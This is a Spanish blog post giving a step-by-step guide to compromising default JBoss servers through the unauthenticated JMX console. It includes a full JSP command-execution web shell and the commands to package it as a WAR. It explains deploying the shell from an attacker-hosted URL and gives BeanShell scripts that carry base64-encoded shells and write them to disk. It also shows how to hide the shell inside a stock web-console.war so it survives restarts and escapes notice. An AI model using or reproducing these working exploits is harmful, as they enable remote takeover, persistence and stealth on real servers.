• 13th Julio 2010 - By Willy Devil

    1.     Introducción

    Este documento trata sobre la explotación de las posibles vulnerabilidades que pueden aparecer tras realizar una instalación por defecto de Jboss. Los métodos de ataque, siempre serán usando JMX-Console. Podéis descargar el mismo en formato PDF desde aquí.

    2.     ¿Qué es Jboss?

    JBoss es un servidor de aplicaciones J2EE de código abierto implementado en Java puro. Al estar basado en Java,  JBoss puede ser utilizado en cualquier sistema operativo que lo soporte.

    3.     Instalación por defecto

    La instalación por defecto de JBoss, escucha en el puerto 8080, y probé de un panel de administración Web muy útil para un atacante, con muchísimas posibilidad para comprometerlo.

    4.     JMX Console

    La consola JMX es la consola de administración de JBoss que proporciona una vista real de los MBeans JMX que componen el servidor. Pueden proporcionar bastante información sobre el servidor en ejecución y le permite modificar su configuración, iniciar y parar componentes, etc. Por defecto se accede a la consola sin autenticación.

    5.     DeploymentScanner

    Para hacer un deploy (cargar) una aplicación personalizada al servidor Jboss comprometido, se utiliza el DeploymentScanner añadiendo una URL o un Path (ruta) con la aplicación WAR a cargar.

    DeploymentScanner, chequea regularmente las URL’s introducidas. Por defecto, chequea la URL file:/[JBOSSHOME]/server/default/deploy/, pero con el comando addURL(), es posible una nueva URL para la carga (p.ej: www.evil-server.com/aplicacion.war). Jboss intentara descargar la aplicación desde la URL indicada. Una vez descargada, Jboss cargara la aplicación en el aplicativo propio, normalmente pasado un minuto.

    En algunos casos, este método no funciona debido a los posibles filtrados de I/O, como por ejemplo, un firewall.

    5.1 Realizando un Deploy

    Es necesario una estructura específica de la aplicación, creando un WAR con el directorio WEB-INF.

    A continuación un ejemplo de una aplicación de consola remota totalmente funcional[1]:

    $ echo 'A continuación el JSP'
    $ cat > cmd.jsp
    < %@ page import="java.util.*,java.io.*"%>
    < %
    %>
    <html><body>
    Commands with JSP
    <form METHOD="GET" NAME="myform" ACTION="">
    <input TYPE="text" NAME="cmd"/>
    <input TYPE="submit" VALUE="Send"/>
    </form>
    <pr3> < ---Sustituir por pre--->
    < %
    if (request.getParameter("cmd") != null) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                    out.println(disr); 
                    disr = dis.readLine(); 
                    }
            }
    %>
    </pr3> < ---Sustituir por /pre--->
    </body></html>
    $ echo 'El fichero web.xml en el directorio WEB-INF con la configuración de la aplicación'   
    $ mkdir WEB-INF
    $ cat > WEB-INF/web.xml
    < ?xml version="1.0" ?>
    <web -app xmlns="http://java.sun.com/xml/ns/j2ee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
    http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
             version="2.4">
        <servlet>
            </servlet><servlet -name>Command</servlet>
            <jsp -file>/cmd.jsp</jsp>
     
    </web>
    $ echo 'Ahora lo empaquetamos en WAR'
    $ jar cvf cmd.war WEB-INF cmd.jsp
    $ echo 'Copialo en el webserver en donde quieres que Jboss lo descargue'
    $ cp cmd.war /var/www/localhost/htdocs/

    5.2 Haciendo el deploy

    Accedemos  a la sección “jboss.deployment” y entramos en el apartado llamado “flavor=URL,type=DeploymentScanner”.

    Una vez dentro, buscamos la sección voidURL().

    En ParamValue introducimos la URL maliciosa (http://evil-server/cmd.war) en donde tenemos la aplicación WAR generada y realizaremos la invocación.

    Jboss, hace re-comprobación de aplicaciones cada minuto, con lo que una vez pasado un minuto (aproximadamente), Jboss cargará la aplicación y accederemos a nuestra aplicación (en este caso http://hacked-server/cmd/cmd.jsp).

    6.     Posibles problemas

    a)     Bloqueo de I/O por un Firewall

    Podemos encontrarnos con que existe un Firewall que no permite a Jboss la salida hacia internet, pero si la entrada, con lo que en este caso, no se puede subir un WAR del modo anterior, con lo que utilizando el método addURL(), no sería posible realizar un deploy. Para ello encontramos el llamado BSH Deployer.

    BSH Deployer, nos permite, a través de un lenguaje propio de scripting (similar a JAVA), realizar la carga de un script para poder subir un fichero y ubicarlo en el directorio que deseemos. Para ello, buscaremos la sección BSHDeployer en el panel principal de la consola JMX.

    En el apartado java.net.URL.createScriptDeployment() encontraremos dos parámetros para introducir, en el primer parámetro se debe de introducir la cadena del script creado y en el segundo parámetro debemos introducir el nombre del directorio y del fichero que queremos crear una vez que el script haga la decodificación del WAR en base64.

    Una vez subido el fichero deseado, en nuestro caso, un WAR con una Shell en JSP, a través de DeploymentScanner, usaremos la opción addURL(), en este caso como string


    Una vez hecho esto, tendremos acceso al servidor con la aplicación cargada en el mismo. Accederemos a la aplicación como se ha comentado en el apartado del DeploymentScanner.

    A continuación, el WAR anteriormente generado, codificado en base64 y con el script preparado para realizar la subida del fichero:

    import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val="UEsDBBQACAAIAOp+ljwAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgACADqfpY8AAAAAAAAAAAAAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1G803My0xLLS7RDUstKs7Mz7NSMNQz4OVyLkpNLElN0XWqBAmY6RnEGxopaASX5in4ZiYX5RdXFpek5hYreOYl62nycvFyAQBQSwcI7sxS0EcAAABHAAAAUEsDBAoAAAAAAI1+ljwAAAAAAAAAAAAAAAAIAAAAV0VCLUlORi9QSwMEFAAIAAgAjX6WPAAAAAAAAAAAAAAAAA8AAABXRUItSU5GL3dlYi54bWyFj81ugzAQhO9+CuS7vYTmhAh5gfTS5NBb5JptMfIPYh3M49egiKqn3Fb7zezONOfF2WLGiUzwJ36QJS/OLWsSfgk1jkWmnk68j3GsAQY1K0kPL3VwkBF4gqFC5GzT1QuZXZtSkulNhukHqrI8wOf75ap7dEoYT1F5vbrI1LQtL0GruEV48Yq94PBMfq/uR7lQx9lerpJHnqsRTrPF+DcJrxy2H9jdULni2qO1DfxjrBloFN/GYguDW4QOnoJFmLCL2SNo9cisaWAXsv3GOj5TtYz9AlBLBwjc7uTl1AAAAHIBAABQSwMEFAAIAAgAPIaVPAAAAAAAAAAAAAAAABEAAAByZWR0ZWFtLXNoZWxsLmpzcH3QXUrEMBAH8PecYiwU0kVygd2KD/uyILjoCUI71pF8bTpxBfHuTtaKRVDykDD/3wxkdu0tJDshkE8xc9+82FdrCpMzm+vLm6LZNO2N2rWKnkBnPBWc2UzIR5utR8asm8GPTQdXPYTiXAfv6pEzhQmkDj3807NVxxwHnGdIAh9KYPJY4fLUncE3HLRgsfeFU2GZjdZDnKUjVbsua2GH8KMofKtVtaK9ZbuGI9V5Ac/wK9EUhC8fEpWFyWUkG+8oYB12fiaHoL/iZQ1Q9xALmySd7IKuodg/RnzIkTWrT1BLBwimyLlg3gAAAJIBAABQSwECFAAUAAgACADqfpY8AAAAAAIAAAAAAAAACQAEAAAAAAAAAAAAAAAAAAAATUVUQS1JTkYv/soAAFBLAQIUABQACAAIAOp+ljzuzFLQRwAAAEcAAAAUAAAAAAAAAAAAAAAAAD0AAABNRVRBLUlORi9NQU5JRkVTVC5NRlBLAQIKAAoAAAAAAI1+ljwAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAMYAAABXRUItSU5GL1BLAQIUABQACAAIAI1+ljzc7uTl1AAAAHIBAAAPAAAAAAAAAAAAAAAAAOwAAABXRUItSU5GL3dlYi54bWxQSwECFAAUAAgACAA8hpU8psi5YN4AAACSAQAAEQAAAAAAAAAAAAAAAAD9AQAAcmVkdGVhbS1zaGVsbC5qc3BQSwUGAAAAAAUABQAvAQAAGgMAAAAA"; BASE64Decoder decoder=new BASE64Decoder(); byte[ ] byteval=decoder.decodeBuffer(val); FileOutputStream fstream=new FileOutputStream("/tmp/cmd.war"); fstream.write(byteval); fstream.close();

    b)     Limitaciones en los redirectores Apache + Jboss

    En determinadas ocasiones, podemos encontrar la limitación de que se ha configurado el servidor para servir paginas HTML estáticas y a su vez aplicaciones JSP. Esto hará que cualquier petición fuera de la “acl” creada en JBOSS para la carga de aplicaciones JSP, se redirigirá a Apache y nos dará un error 404 (Not Found), ya que es Apache quien interpreta esa petición y no encuentra la aplicación que hemos cargado, aunque realmente, si lo está.

    Para evadir o by-passear este método de, en cierto modo, protección, podemos cargar directamente un JSP, sin realizar un empaquetado en WAR, con el método utilizado en BSH Deployer. Cargaremos la shell JSP en el interior de un WAR que existe por defecto en la instalación de JBOSS (web-console.war) y podremos realizar la llamada a la shell directamente como http://hacked-server/jmx-console/cmd.jsp. Esto nos servirá para dos cosas:

    1) Si existe un reinicio del servidor JBOSS, la aplicación WAR que hemos cargado no se cargara automáticamente, con lo que perderemos el acceso. Con este método, esto no ocurre, ya que el jsp se carga con los módulos por defecto de JBOSS, con lo que siempre, será cargado, a no ser, claro, que estos módulos, sean deshabilitados.

    2) Es más discreto, ya que no aparece cargada en el listado de aplicaciones cargadas y esta oculta dentro de un WAR estándar.

    Para realizar esto, codificaremos el JSP en base64, en vez de el fichero WAR y usaremos la misma mecánica anteriormente citada, con la diferencia, de que en el script BSH, al hacer la recodificación a fichero, usaremos directamente la ruta del directorio a atacar (en este caso /usr/jboss-4.2.0.GA/server/default/deploy/management/console-mgr.sar/web-console.war/cmd.jsp).

    A continuación el script utilizado para realizar la carga con el JSP codificado en base64:

    import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val="PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPCUKaWYgKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSAhPSBudWxsKSB7ClN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7ClByb2Nlc3MgcCA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoY21kKTsKT3V0cHV0U3RyZWFtIG9zID0gcC5nZXRPdXRwdXRTdHJlYW0oKTsKSW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CkRhdGFJbnB1dFN0cmVhbSBkaXMgPSBuZXcgRGF0YUlucHV0U3RyZWFtKGluKTsKU3RyaW5nIGRpc3IgPSBkaXMucmVhZExpbmUoKTsKd2hpbGUgKCBkaXNyICE9IG51bGwgKSB7Cm91dC5wcmludGxuKGRpc3IpOwpkaXNyID0gZGlzLnJlYWRMaW5lKCk7Cn0KfQolPgoK"; BASE64Decoder decoder=new BASE64Decoder(); byte[ ] byteval=decoder.decodeBuffer(val); FileOutputStream fstream=new FileOutputStream("/usr/jboss-4.2.0.GA/server/default/deploy/management/console-mgr.sar/web-console.war/cmd.jsp"); fstream.write(byteval); fstream.close();

    7. Notas finales

    Este documento, se trata de un borrador inicial, realizado como un “how-to” de distribución interna, pero he decidido publicarlo, es posible que debido a ello existan erratas en el documento.

    Quiero agradecer a Jörg Scheinert el permiso que me ha dado para publicar la shell que el utilizo en su día para ilustrar su documento.

    También agradezco desde aquí a mis antiguos compañeros (Paco, J.I y David), por haber dedicado horas a investigar junto a mi, gracias a las cuales, logramos encontrar una nueva forma de bypassear la seguridad de Jboss.


    [1] Shell obtenida del documento Hacking Jboss de Jörg Scheinert
    <pre lang="java" line="1">

    Licencia de Creative Commons
    Esta obra está bajo una licencia de Creative Commons.

    Entradas Relacionadas

  • One Response to “Hacking JBoss, un nuevo enfoque”

    • silvam on Julio 14, 2010

      me gusta, elegante presentacion

    Leave a Reply